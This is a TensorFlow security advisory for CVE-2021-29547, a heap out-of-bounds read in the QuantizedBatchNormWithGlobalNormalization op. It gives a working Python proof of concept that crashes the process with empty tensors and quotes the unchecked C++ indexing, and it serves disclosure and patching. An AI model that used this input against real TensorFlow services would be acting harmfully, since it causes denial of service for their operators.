Heap out of bounds in `QuantizedBatchNormWithGlobalNormalization`

Low **mihaimaruseac** published **GHSA-4fg4-p75j-w5xj** on May 12, 2021

Package

tensorflow, tensorflow-cpu, tensorflow-gpu (pip)

Affected versions	Patched versions
< 2.5.0	2.1.4, 2.2.3, 2.3.3, 2.4.2

Description

Impact

An attacker can cause a segfault and denial of service via accessing data outside of bounds in `tf.raw_ops.QuantizedBatchNormWithGlobalNormalization`:

```
import tensorflow as tf

t = tf.constant([1], shape=[1, 1, 1, 1], dtype=tf.quint8)
t_min = tf.constant([], shape=[0], dtype=tf.float32)
t_max = tf.constant([], shape=[0], dtype=tf.float32)
m = tf.constant([1], shape=[1], dtype=tf.quint8)
m_min = tf.constant([], shape=[0], dtype=tf.float32)
m_max = tf.constant([], shape=[0], dtype=tf.float32)
v = tf.constant([1], shape=[1], dtype=tf.quint8)
v_min = tf.constant([], shape=[0], dtype=tf.float32)
v_max = tf.constant([], shape=[0], dtype=tf.float32)
beta = tf.constant([1], shape=[1], dtype=tf.quint8)
beta_min = tf.constant([], shape=[0], dtype=tf.float32)
beta_max = tf.constant([], shape=[0], dtype=tf.float32)
gamma = tf.constant([1], shape=[1], dtype=tf.quint8)
gamma_min = tf.constant([], shape=[0], dtype=tf.float32)
gamma_max = tf.constant([], shape=[0], dtype=tf.float32)

tf.raw_ops.QuantizedBatchNormWithGlobalNormalization(
  t=t, t_min=t_min, t_max=t_max, m=m, m_min=m_min, m_max=m_max,
  v=v, v_min=v_min, v_max=v_max, beta=beta, beta_min=beta_min,
  beta_max=beta_max, gamma=gamma, gamma_min=gamma_min,
  gamma_max=gamma_max, out_type=tf.qint32,
  variance_epsilon=0.1, scale_after_normalization=True)
```

This is because the implementation assumes the inputs are not empty:

```
const float input_min = context->input(1).flat<float>()(0);
const float input_max = context->input(2).flat<float>()(0);
...
const float mean_min = context->input(4).flat<float>()(0);
const float mean_max = context->input(5).flat<float>()(0);
...
const float var_min = context->input(7).flat<float>()(0);
const float var_max = context->input(8).flat<float>()(0);
...
const float beta_min = context->input(10).flat<float>()(0);
const float beta_max = context->input(11).flat<float>()(0);
...
const float gamma_min = context->input(13).flat<float>()(0);
const float gamma_max = context->input(14).flat<float>()(0);
```

If any of these inputs is empty, `.flat<T>()` is an empty buffer, so accessing the element at index 0 is accessing data outside of bounds.

Patches

We have patched the issue in GitHub commit d6ed5bcfe1dcab9e85a4d39931bd18d99018e75b.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.

Severity

Low

CVE ID

CVE-2021-29547

Weaknesses

No CWEs